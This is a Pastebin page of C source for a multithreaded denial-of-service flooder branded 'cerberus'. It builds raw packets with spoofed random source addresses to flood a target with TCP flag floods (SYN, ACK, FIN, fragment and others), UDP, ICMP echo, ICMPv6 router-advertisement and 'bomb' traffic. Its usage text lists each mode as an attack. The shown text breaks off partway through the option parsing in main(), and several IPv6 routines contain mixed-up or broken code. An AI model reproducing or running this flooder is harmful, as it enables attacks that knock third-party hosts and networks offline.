wtfbbq

shit.c

Mar 15th, 2015
632
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 34.46 KB | None | 0 0
  1. #ifndef _BSD_SOURCE
  2. #define _BSD_SOURCE
  3. #endif
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <unistd.h>
  7. #include <netdb.h>
  8. #include <sys/types.h>
  9. #include <netinet/in_systm.h>
  10. #include <sys/socket.h>
  11. #include <sys/resource.h>
  12. #include <sys/wait.h>
  13. #include <string.h>
  14. #include <time.h>
  15. #include <signal.h>
  16. #ifndef __USE_BSD
  17. #define __USE_BSD
  18. #endif
  19. #ifndef __FAVOR_BSD
  20. #define __FAVOR_BSD
  21. #endif
  22. #include <netinet/in.h>
  23. #include <netinet/ip.h>
  24. #include <netinet/ip6.h>
  25. #include <netinet/ip_icmp.h>
  26. #include <netinet/icmp6.h>
  27. #include <netinet/tcp.h>
  28. #include <netinet/udp.h>
  29. #include <arpa/inet.h>
  30. #include <pthread.h>
  31. #define INET_ADDR 16
  32. #define INET6_ADDR 46
  33. #define TCP_FIN 1
  34. #define TCP_SYN 2
  35. #define TCP_RST 4
  36. #define TCP_PSH 8
  37. #define TCP_ACK 16
  38. #define TCP_URG 32
  39. #define TCP_ECE 64
  40. #define TCP_CWR 128
  41. #define TCP_NOF 256
  42. #define TCP_FRG 512
  43. #define TCP_BMB 1024
  44. #define UDP_BMB 2048
  45. #define RAW_BMB 4096
  46. #define UDP_CFF 8192
  47. #define ICMP_ECHO_G 16384
  48. #define ICMP6_ROUTERADV 134
  49. #define ICMP_HDRLEN 8
  50. #define TH_NOF 0x0
  51. #ifdef LINUX
  52. #define FIX(x) htons(x)
  53. #else
  54. #define FIX(x) (x)
  55. #endif
  56. void *send_tcp(void* arg);
  57. void *send_udp(void* arg);
  58. void *send_icmp(void* arg);
  59. void *send_icmp_ra(void* arg);
  60. void *send_bomb(void* arg);
  61. void handle_exit();
  62. unsigned short in_cksum(unsigned short *addr, int len);
  63. unsigned short xchecksum(unsigned short *buffer, int size);
  64. char *class2ip(const char *class);
  65. char *class2ip6(const char *class);
  66. void inject(struct ip *ip, u_char p, u_char len);
  67. void inject6(struct ip6_hdr *ip, u_char p, u_char len);
  68. u_long lookup(const char *host);
  69. int main(int argc, char *argv[]);
  70. #define MAX_THREADS 32768
  71. pthread_t attack_thread[MAX_THREADS];
  72. struct thread_data {
  73. int initialized; // valid thread?
  74. int flag4, flag6; // v4 or v6
  75. int start;
  76. int packets;
  77. unsigned int timeout; // attack timeout
  78. int thread;
  79. unsigned int bombsize; // size of connect bomb
  80. unsigned int datasize; // size of tcp data after header
  81. unsigned int window_size; // window size
  82. int socket; // rawsock
  83. int a_flags; // a_flags
  84. struct sockaddr_in destination4;
  85. struct sockaddr_in6 destination6;
  86. u_long dstaddr;
  87. u_char th_flags;
  88. int d_lport;
  89. int d_hport;
  90. int s_lport;
  91. int s_hport;
  92. char *src_class;
  93. char *dst_class;
  94. char SrcIP4[INET_ADDR];
  95. char SrcIP6[INET6_ADDR];
  96. char DestIP4[INET_ADDR];
  97. char DestIP6[INET6_ADDR];
  98. };
  99. struct thread_data thread_data_array[MAX_THREADS];
  100. void handle_exit () {
  101. int packets;
  102. packets = thread_data_array[1].packets + thread_data_array[2].packets + thread_data_array[4].packets + thread_data_array[8].packets + thread_data_array[16].packets
  103. + thread_data_array[32].packets + thread_data_array[64].packets + thread_data_array[128].packets + thread_data_array[256].packets
  104. + thread_data_array[512].packets + thread_data_array[1024].packets + thread_data_array[2048].packets + thread_data_array[4096].packets
  105. + thread_data_array[8192].packets + thread_data_array[16384].packets;
  106. printf ("Packeting completed, %d total, %d seconds, %d pps\n", packets, (int) time (NULL) -
  107. thread_data_array[0].start, packets / ((int) time (NULL) - thread_data_array[0].start));
  108. exit (0);
  109. }
  110. struct pseudo_hdr {
  111. u_long saddr, daddr;
  112. u_char mbz, ptcl;
  113. u_short tcpl;
  114. };
  115. struct checksum {
  116. struct pseudo_hdr pseudo;
  117. struct tcphdr tcp;
  118. };
  119. unsigned short
  120. in_cksum(unsigned short *addr, int len) {
  121. int nleft = len;
  122. int sum = 0;
  123. unsigned short *w = addr;
  124. unsigned short answer = 0;
  125. while (nleft > 1) {
  126. sum += *w++;
  127. nleft -= 2;
  128. }
  129. if (nleft == 1) {
  130. *(unsigned char *) (&answer) = *(unsigned char *)w;
  131. sum += answer;
  132. }
  133. sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  134. sum += (sum >> 16);
  135. answer = ~sum;
  136. return answer;
  137. }
  138. unsigned short
  139. xchecksum(unsigned short *buffer, int size) {
  140. unsigned int sum = 0;
  141. __asm__ __volatile__(
  142. "movl (%1), %0\n"
  143. "subl $4, %2\n"
  144. "jbe 2f\n"
  145. "addl 4(%1), %0\n"
  146. "adcl 8(%1), %0\n"
  147. "adcl 12(%1), %0\n"
  148. "1:\n"
  149. "adcl 16(%1), %0\n"
  150. "lea 4(%1), %1\n"
  151. "decl %2\n"
  152. "jne 1b\n"
  153. "adcl $0, %0\n"
  154. "movl %0, %2\n"
  155. "shrl $16, %0\n"
  156. "addw %w2, %w0\n"
  157. "adcl $0, %0\n"
  158. "notl %0\n"
  159. "2:\n"
  160. : "=r" (sum), "=r" (buffer), "=r" (size)
  161. : "1" (buffer), "2" (size)
  162. );
  163. return(sum);
  164. }
  165. char *src_class, *dst_class = NULL;
  166. char *class2ip(const char *class) {
  167. static char ip[INET_ADDR];
  168. int i, j;
  169. for (i = 0, j = 0; class[i] != '\0'; ++i)
  170. if (class[i] == '.')
  171. ++j;
  172. switch (j) {
  173. case 0:
  174. sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 245+1, (int) random() % 225+1, (int) random() % 215+1);
  175. break;
  176. case 1:
  177. sprintf(ip, "%s.%d.%d", class, (int) random() % 245+1, (int) random() % 215+1);
  178. break;
  179. case 2:
  180. sprintf(ip, "%s.%d", class, (int) random() % 245+1);
  181. break;
  182. default: strncpy(ip, class, INET_ADDR);
  183. break;
  184. }
  185. return ip;
  186. }
  187. char *class2ip6(const char *class) {
  188. static char ip[INET6_ADDR];
  189. uint16_t n;
  190. int x, y;
  191. for (x = 0, y = 0; class[x] != '\0'; ++x)
  192. if (class[x] == ':')
  193. ++y;
  194. int i;
  195. for (i = 0; i < 7; i++) {
  196. char hex[3][i];
  197. n = mrand48();
  198. n = rand();
  199. FILE * f = fopen("/dev/urandom", "rb");
  200. fread(&n, sizeof(uint16_t), 1, f);
  201. sprintf(hex[i], "%04X", n);
  202. if(i==0)
  203. strcpy(ip, class);
  204. strcat(ip, hex[i]);
  205. if(i<6)
  206. strcat(ip, "2001:");
  207. }
  208. return ip;
  209. }
  210. void
  211. inject(struct ip *ip, u_char p, u_char len) {
  212. ip->ip_hl = 5;
  213. ip->ip_v = 4;
  214. ip->ip_p = p;
  215. ip->ip_tos = 0x08; /* 0x08 */
  216. ip->ip_id = random();
  217. ip->ip_len = len;
  218. ip->ip_off = 0;
  219. ip->ip_ttl = 255;
  220. ip->ip_dst.s_addr = thread_data_array[0].dst_class != NULL ? inet_addr(class2ip(thread_data_array[0].dst_class)) : thread_data_array[0].dstaddr;
  221. ip->ip_src.s_addr = thread_data_array[0].src_class != NULL ? inet_addr(class2ip(thread_data_array[0].src_class)) : random();
  222. thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
  223. }
  224. void
  225. inject6(struct ip6_hdr *ip, u_char p, u_char len) {
  226. ip->ip6_ctlun.ip6_un1.ip6_un1_flow = htonl ((6 << 28) | (0 << 20) | 0);
  227. ip->ip6_ctlun.ip6_un1.ip6_un1_plen = htons( 8 + len );
  228. ip->ip6_ctlun.ip6_un1.ip6_un1_nxt = p;
  229. ip->ip6_ctlun.ip6_un1.ip6_un1_hlim = 255;
  230. inet_pton (AF_INET6, thread_data_array[0].DestIP6, &ip->ip6_dst);
  231. inet_pton (AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
  232. thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
  233. }
  234. u_long lookup(const char *host) {
  235. struct hostent *hp;
  236. if ( (hp = gethostbyname2(host,AF_INET)) == NULL) {
  237. perror("gethostbyname2");
  238. exit(-1);
  239. }
  240. return *(u_long *)hp->h_addr;
  241. }
  242. int resolve (const char *host) {
  243. struct addrinfo hints, *res;
  244. int errcode;
  245. char addrstr[100];
  246. void *ptr;
  247. memset (&hints, 0, sizeof (hints));
  248. hints.ai_family = PF_UNSPEC;
  249. hints.ai_socktype = SOCK_STREAM;
  250. hints.ai_flags |= AI_CANONNAME;
  251. errcode = getaddrinfo (host, NULL, &hints, &res);
  252. if (errcode != 0) {
  253. perror ("[-] getaddrinfo");
  254. exit(-1);
  255. }
  256. while (res) {
  257. inet_ntop (res->ai_family, res->ai_addr->sa_data, addrstr, 100);
  258. switch (res->ai_family) {
  259. case AF_INET:
  260. ptr = &((struct sockaddr_in *) res->ai_addr)->sin_addr;
  261. break;
  262. case AF_INET6:
  263. ptr = &((struct sockaddr_in6 *) res->ai_addr)->sin6_addr;
  264. break;
  265. }
  266. inet_ntop (res->ai_family, ptr, addrstr, 100);
  267. res = res->ai_next;
  268. }
  269. return 0;
  270. }
  271. //resolve(argv[1]); // example if you wish to use
  272.  
  273. void *send_tcp(void* arg) {
  274. struct thread_data *param2 = arg;
  275. struct checksum checksum;
  276. struct packet
  277. {
  278. struct ip ip;
  279. struct tcphdr tcp;
  280. char buf[param2->datasize];
  281. } packet;
  282. struct packet6
  283. {
  284. struct ip6_hdr ip;
  285. struct tcphdr tcp;
  286. char buf[param2->datasize];
  287. } packet6;
  288. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  289. signal(SIGALRM, handle_exit);
  290. alarm(thread_data_array[0].timeout);
  291. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  292. {
  293. do
  294. {
  295. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.tcp)+param2->datasize);
  296. inject(&packet.ip, IPPROTO_TCP, FIX(sizeof(packet)));
  297. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  298. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  299. checksum.pseudo.mbz = 0;
  300. checksum.pseudo.ptcl = IPPROTO_TCP;
  301. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  302. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  303. packet.tcp.th_win = htons(65535);
  304. packet.tcp.th_seq = random();
  305. //packet.tcp.th_x2 = 4;
  306. if (param2->th_flags == TH_ACK || param2->a_flags == TCP_FRG)
  307. packet.tcp.th_ack = random();
  308. else
  309. packet.tcp.th_ack = 0;
  310. if(param2->a_flags == TCP_FRG)
  311. {
  312. packet.tcp.th_flags = (rand()%(TH_SYN-TH_FIN))+TH_FIN;
  313. packet.tcp.th_off = sizeof(packet.tcp) / 4;
  314. }
  315. else
  316. {
  317. packet.tcp.th_flags = param2->th_flags;
  318. packet.tcp.th_off = 5;
  319. }
  320. if (param2->th_flags == TH_URG || param2->a_flags == TCP_FRG)
  321. packet.tcp.th_urp = htons(sizeof(packet));
  322. else
  323. packet.tcp.th_urp = 0;
  324. packet.tcp.th_sport = thread_data_array[0].s_lport == 0 ?
  325. random () :
  326. htons(thread_data_array[0].s_lport + (random() %
  327. (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  328. packet.tcp.th_dport = thread_data_array[0].d_lport == 0 ?
  329. random () :
  330. htons(thread_data_array[0].d_lport + (random() %
  331. (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  332. checksum.tcp = packet.tcp;
  333. packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  334. param2->packets++;
  335. } while ( sendto(param2->socket, &packet, (sizeof packet),0, (struct sockaddr *)&thread_data_array[0].destination4,
  336. sizeof(thread_data_array[0].destination4)) );
  337. }
  338. if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  339. {
  340. do
  341. {
  342. //memset(&packet6, 0, sizeof packet6);
  343. memset(&packet6, 0x0, sizeof(packet.ip)+sizeof(packet.tcp)+param2->datasize);
  344. inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  345. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  346. checksum.pseudo.mbz = 0;
  347. checksum.pseudo.ptcl = IPPROTO_TCP;
  348. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  349. packet6.tcp.th_win = htons(65535);
  350. packet6.tcp.th_seq = random();
  351. if (param2->th_flags == TH_ACK || param2->a_flags == TCP_FRG)
  352. packet.tcp.th_ack = random();
  353. else
  354. packet.tcp.th_ack = 0;
  355. if(param2->a_flags == TCP_FRG)
  356. {
  357. packet.tcp.th_flags = (rand()%(TH_SYN-TH_FIN))+TH_FIN;
  358. packet.tcp.th_off = sizeof(packet.tcp) / 4;
  359. }
  360. else
  361. {
  362. packet.tcp.th_flags = param2->th_flags;
  363. packet.tcp.th_off = 5;
  364. }
  365. if (param2->th_flags == TH_URG || param2->a_flags == TCP_FRG)
  366. packet.tcp.th_urp = htons(sizeof(packet));
  367. else
  368. packet.tcp.th_urp = 0;
  369. packet6.tcp.th_sport = thread_data_array[0].s_lport == 0 ?
  370. random () :
  371. htons(thread_data_array[0].s_lport + (random() %
  372. (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  373. packet6.tcp.th_dport = thread_data_array[0].d_lport == 0 ?
  374. random () :
  375. htons(thread_data_array[0].d_lport + (random() %
  376. (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  377. checksum.tcp = packet.tcp;
  378. packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  379. param2->packets++;
  380. } while ( sendto(param2->socket, &packet6.tcp, (sizeof packet6), 0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  381. }
  382. return 0;
  383. }
  384. void *send_udp(void* arg) {
  385. struct thread_data *param2 = arg;
  386. struct packet
  387. {
  388. struct ip ip;
  389. struct udphdr udp;
  390. char buf[param2->datasize];
  391. } packet;
  392. struct packet6
  393. {
  394. struct ip6_hdr ip;
  395. struct udphdr udp;
  396. char buf[param2->datasize];
  397. } packet6;
  398. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  399. signal(SIGALRM, handle_exit);
  400. alarm(thread_data_array[0].timeout);
  401. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  402. {
  403. do
  404. {
  405. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.udp));
  406. inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  407. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  408. packet.udp.uh_sport = thread_data_array[0].s_lport == 0 ?
  409. random () :
  410. htons(thread_data_array[0].s_lport + (random() %
  411. (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  412. packet.udp.uh_dport = thread_data_array[0].d_lport == 0 ?
  413. random () :
  414. htons(thread_data_array[0].d_lport + (random() %
  415. (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  416. packet.udp.uh_ulen = htons(sizeof packet.udp);
  417. packet.udp.uh_sum = 0;
  418. packet.udp.uh_sum = xchecksum((void *)&packet, sizeof(packet));
  419. param2->packets++;
  420. } while ( sendto(param2->socket, &packet, (sizeof packet), 0, (struct sockaddr *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)) );
  421. }
  422. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  423. {
  424. do
  425. {
  426. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.udp));
  427. inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  428. packet6.udp.uh_sport = thread_data_array[0].s_lport == 0 ?
  429. random () :
  430. htons(thread_data_array[0].s_lport + (random() %
  431. (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  432. packet6.udp.uh_dport = thread_data_array[0].d_lport == 0 ?
  433. random () :
  434. htons(thread_data_array[0].d_lport + (random() %
  435. (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  436. packet6.udp.uh_ulen = htons(sizeof packet6.udp);
  437. packet6.udp.uh_sum = 0;
  438. packet6.udp.uh_sum = xchecksum((void *)&packet6, sizeof(packet6));
  439. param2->packets++;
  440. } while ( sendto(param2->socket, &packet6, (sizeof packet6), 0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  441. }
  442. return 0;
  443. }
  444. void *send_icmp(void* arg)
  445. {
  446. struct thread_data *param2 = arg;
  447. struct packet
  448. {
  449. struct ip ip;
  450. struct icmp icmp;
  451. } packet;
  452. struct packet6
  453. {
  454. struct ip6_hdr ip;
  455. struct icmp6_hdr icmp;
  456. } packet6;
  457. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  458. signal(SIGALRM, handle_exit);
  459. alarm(thread_data_array[0].timeout);
  460. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  461. {
  462. do
  463. {
  464. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.icmp));
  465. inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  466. packet.ip.ip_sum = xchecksum((void *)&packet.ip, sizeof(packet.ip));
  467. packet.icmp.icmp_type = ICMP_ECHO;
  468. packet.icmp.icmp_code = 0;
  469. packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
  470. packet.icmp.icmp_id = random() % 255;
  471. packet.icmp.icmp_seq = random() % 255;
  472. param2->packets++;
  473. } while ( sendto( param2->socket, &packet, (sizeof packet),0, (struct sockaddr *)&thread_data_array[0].destination4,
  474. sizeof(thread_data_array[0].destination4)) );
  475. }
  476. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  477. {
  478. do
  479. {
  480. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.icmp));
  481. inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  482. packet6.icmp.icmp6_type = ICMP6_ECHO_REQUEST;
  483. packet6.icmp.icmp6_code = 0;
  484. packet6.icmp.icmp6_cksum = 0;
  485. packet6.icmp.icmp6_cksum = xchecksum((void *)&packet6, sizeof(packet6));
  486. packet6.icmp.icmp6_id = random();
  487. packet6.icmp.icmp6_seq = random();
  488. param2->packets++;
  489. } while ( sendto( param2->socket, &packet6.icmp, (sizeof packet6),0, (struct sockaddr *)&thread_data_array[0].destination6,
  490. sizeof(thread_data_array[0].destination6)) );
  491. }
  492. return 0;
  493. }
  494.  
  495. void *send_icmp_ra(void* arg) {
  496. struct thread_data *param2 = arg;
  497. struct packet6
  498. {
  499. struct ip6_hdr ip;
  500. struct icmp6_hdr icmp;
  501. } packet6;
  502. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  503. signal(SIGALRM, handle_exit);
  504. alarm(thread_data_array[0].timeout);
  505. if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  506. do {
  507. memset(&packet6, 0, sizeof(packet6.ip)+sizeof(packet6.icmp));
  508. inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  509. packet6.icmp.icmp6_type = ICMP6_ROUTERADV;
  510. packet6.icmp.icmp6_code = 0;
  511. packet6.icmp.icmp6_cksum = 0;
  512. packet6.icmp.icmp6_cksum = xchecksum((void *)&packet6, sizeof(packet6));
  513. packet6.icmp.icmp6_id = random();
  514. packet6.icmp.icmp6_seq = random();
  515. param2->packets++;
  516. } while ( sendto( param2->socket, &packet6.icmp, (sizeof packet6),0, (struct sockaddr *)&thread_data_array[0].destination6,
  517. sizeof(thread_data_array[0].destination6)) );
  518. }
  519. return 0;
  520. }
  521. void *send_bomb(void* arg) {
  522. struct thread_data *param2 = arg;
  523. struct checksum checksum;
  524. struct packet
  525. {
  526. struct ip ip;
  527. struct tcphdr tcp;
  528. struct udphdr udp;
  529. char buf[param2->bombsize];
  530. } packet;
  531. struct packet6
  532. {
  533. struct ip6_hdr ip;
  534. struct tcphdr tcp;
  535. struct udphdr udp;
  536. char buf[param2->bombsize];
  537. } packet6;
  538. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  539. {
  540. if(param2->a_flags == RAW_BMB)
  541. param2->socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  542. }
  543. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  544. {
  545. if(param2->a_flags == RAW_BMB)
  546. param2->socket = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
  547. }
  548. int i;
  549. for (i = sizeof(packet) + 1; i < (param2->bombsize); i++)
  550. {
  551. packet.buf[i] = '\x00';
  552. }
  553. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  554. connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
  555. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  556. connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
  557. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  558. signal(SIGALRM, handle_exit);
  559. alarm(thread_data_array[0].timeout);
  560. do
  561. {
  562. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  563. {
  564. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)
  565. {
  566. memset(&packet, 0, sizeof packet);
  567. inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  568. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  569. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  570. checksum.pseudo.mbz = 0;
  571. if(param2->a_flags == TCP_BMB)
  572. checksum.pseudo.ptcl = IPPROTO_TCP;
  573. else if(param2->a_flags == RAW_BMB)
  574. checksum.pseudo.ptcl = IPPROTO_RAW;
  575. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  576. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  577. packet.tcp.th_win = htons(65535);
  578. packet.tcp.th_seq = random();
  579. packet.tcp.th_off = 5;
  580. //thread_data_array[0].destination4.sin_port = htons(113);
  581. checksum.tcp = packet.tcp;
  582. //packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  583. }
  584. else if(param2->a_flags == UDP_BMB)
  585. {
  586. memset(&packet, 0, sizeof packet);
  587. inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  588. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  589. packet.udp.uh_ulen = htons(sizeof packet.udp);
  590. packet.udp.uh_sum = 0;
  591. }
  592. }
  593. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  594. {
  595. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)
  596. {
  597. memset(&packet6, 0, sizeof packet6);
  598. inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  599. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  600. checksum.pseudo.mbz = 0;
  601. if(param2->a_flags == TCP_BMB)
  602. checksum.pseudo.ptcl = IPPROTO_TCP;
  603. else if(param2->a_flags == RAW_BMB)
  604. checksum.pseudo.ptcl = IPPROTO_RAW;
  605. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  606. packet6.tcp.th_win = htons(65535);
  607. packet6.tcp.th_seq = random();
  608. } else if(param2->a_flags == UDP_BMB) {
  609. memset(&packet6, 0, sizeof packet6);
  610. inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  611. packet6.udp.uh_ulen = htons(sizeof packet6.udp);
  612. packet6.udp.uh_sum = 0;
  613. }
  614. }
  615. param2->packets++;
  616. } while ( send(param2->socket, &packet, sizeof(packet), 0) );
  617. return 0;
  618. }
  619. const char *banner_name = "\e[1;37m(\e[0m\e[0;31mcerberus\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mbloodbath\e[0m\e[1;37m)\e[0m";
  620. static void
  621. usage(const char *argv0) {
  622. printf("%s \n", banner_name);
  623. printf(" -U UDP    attack                   \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  624. printf(" -I ICMP   attack                   \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  625. printf(" -R Router attack                   \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  626. printf(" -T TCP  attack                 \e[1;37m(\e[0m0:FIN   1: SYN\e[1;37m)\e[0m\n");
  627. printf("                                \e[1;37m(\e[0m2:RST   3:PUSH\e[1;37m)\e[0m\n");
  628. printf("                                \e[1;37m(\e[0m4:ACK   5: URG\e[1;37m)\e[0m\n");
  629. printf("                                \e[1;37m(\e[0m6:ECE   7: CWR\e[1;37m)\e[0m\n");
  630. printf("                                \e[1;37m(\e[0m8:NOF   9:FRAG\e[1;37m)\e[0m\n");
  631. printf(" -B BMB attack [type,size]   \e[1;37m[\e[0m0:TCP 1:UDP 2:RAW\e[1;37m]\e[0m\n");
  632. printf(" -h destination ip                  \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  633. printf(" -d destination class               \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  634. printf(" -s source class/ip                     \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  635. printf(" -p destination port range [start,end]  \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  636. printf(" -q source port range [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  637. printf(" -t timeout                         \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  638. printf(" -w window size [ 1-65535 ]             \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  639. printf("\e[1mUsage\e[0m: %s -4 -6 [-U -I -T -B -h -d -s -p -q -t]\n", argv0);
  640. exit(-1);
  641. }
  642. int
  643. main(int argc, char *argv[]) {
  644. int i = 0, n;
  645. int on = 1;
  646. struct sockaddr_in DestAddress4;
  647. struct sockaddr_in6 DestAddress6;
  648. thread_data_array[0].a_flags = 0;
  649. thread_data_array[0].window_size = 0;
  650. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  651. thread_data_array[i].a_flags = 0;
  652. }
  653. while ( (n = getopt(argc, argv, "46T:B:IRUh:d:s:t:p:q:w:")) != -1) {
  654. char *p;
  655. unsigned int bombsize = 0;
  656. unsigned int datasize = 0;
  657. unsigned int window_size = 0;
  658. switch (n)
  659. {
  660. case '4':
  661. thread_data_array[0].flag4 = 1;
  662. break;
  663. case '6':
  664. thread_data_array[0].flag6 = 1;
  665. break;
  666. case 'T':
  667. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  668. datasize = 4;
  669. if(datasize == 0)
  670. datasize = atoi(p + 1);
  671. if(datasize > 4096)
  672. datasize = 4096;
  673. switch (atoi(optarg))
  674. {
  675. case 0:
  676. thread_data_array[TCP_FIN].initialized = 1;
  677. thread_data_array[0].a_flags |= TCP_FIN;
  678. thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
  679. thread_data_array[TCP_FIN].datasize = datasize;
  680. break;
  681. case 1:
  682. thread_data_array[TCP_SYN].initialized = 1;
  683. thread_data_array[0].a_flags |= TCP_SYN;
  684. thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  685. thread_data_array[TCP_SYN].datasize = datasize;
  686. break;
  687. case 2:
  688. thread_data_array[TCP_RST].initialized = 1;
  689. thread_data_array[0].a_flags |= TCP_RST;
  690. thread_data_array[TCP_RST].a_flags |= TCP_RST;
  691. thread_data_array[TCP_RST].datasize = datasize;
  692. break;
  693. case 3:
  694. thread_data_array[TCP_PSH].initialized = 1;
  695. thread_data_array[0].a_flags |= TCP_PSH;
  696. thread_data_array[TCP_PSH].a_flags |= TCP_PSH;
  697. thread_data_array[TCP_PSH].datasize = datasize;
  698. break;
  699. case 4:
  700. thread_data_array[TCP_ACK].initialized = 1;
  701. thread_data_array[0].a_flags |= TCP_ACK;
  702. thread_data_array[TCP_ACK].a_flags |= TCP_ACK;
  703. thread_data_array[TCP_ACK].datasize = datasize;
  704. break;
  705. case 5:
  706. thread_data_array[TCP_URG].initialized = 1;
  707. thread_data_array[0].a_flags |= TCP_URG;
  708. thread_data_array[TCP_URG].a_flags |= TCP_URG;
  709. thread_data_array[TCP_URG].datasize = datasize;
  710. break;
  711. case 6:
  712. thread_data_array[TCP_ECE].initialized = 1;
  713. thread_data_array[0].a_flags |= TCP_ECE;
  714. thread_data_array[TCP_ECE].a_flags |= TCP_ECE;
  715. thread_data_array[TCP_ECE].datasize = datasize;
  716. break;
  717. case 7:
  718. thread_data_array[TCP_CWR].initialized = 1;
  719. thread_data_array[0].a_flags |= TCP_CWR;
  720. thread_data_array[TCP_CWR].a_flags |= TCP_CWR;
  721. thread_data_array[TCP_CWR].datasize = datasize;
  722. break;
  723. case 8:
  724. thread_data_array[TCP_NOF].initialized = 1;
  725. thread_data_array[0].a_flags |= TCP_NOF;
  726. thread_data_array[TCP_NOF].a_flags |= TCP_NOF;
  727. thread_data_array[TCP_NOF].datasize = datasize;
  728. break;
  729. case 9:
  730. thread_data_array[TCP_FRG].initialized = 1;
  731. thread_data_array[0].a_flags |= TCP_FRG;
